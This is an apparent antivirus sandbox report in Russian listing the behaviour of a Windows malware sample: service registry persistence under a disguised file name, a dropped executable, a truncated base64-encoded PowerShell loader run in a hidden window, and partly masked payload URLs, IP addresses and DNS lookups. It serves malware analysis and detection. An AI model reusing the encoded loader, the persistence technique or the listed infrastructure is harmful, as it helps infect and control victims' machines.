Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mfc140rus] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mfc140rus] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDSORST\mfc140rus.exe"'
- 'mfc140rus' "%WINDIR%\SysWOW64\KBDSORST\mfc140rus.exe"
- 'mfc140rus' %WINDIR%\SysWOW64\KBDSORST\mfc140rus.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGEANAAwAGYAbQA2AD0AWwBjAGgAYQByAF0ANAAyADsAJABUAGUAdABqADIAagB3AD0AKAAnAEgAJwArACcAegAnACsAKAAnAHgANgA3AGsAJwArACcAMwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQ...
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe в %WINDIR%\syswow64\kbdsorst\mfc140rus.exe
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe
- '18#.#80.181.202':80
- http://vi###ohomem.com/wp-content/ehiZ/
- http://18#.#80.181.202/csjP1/Y2E7JxiEaiIbHSEy/yG2MR87VH/EV0xLVRt7hNisQNd/
- DNS ASK vi###ohomem.com
- DNS ASK at##tx.com
- DNS ASK we###chieu.com
- DNS ASK cu##el.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGEANAAwAGYAbQA2AD0AWwBjAGgAYQByAF0ANAAyADsAJABUAGUAdABqADIAagB3AD0AKAAnAEgAJwArACcAegAnACsAKAAnAHgANgA3AGsAJwArACcAMwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQ...' (со скрытым окном)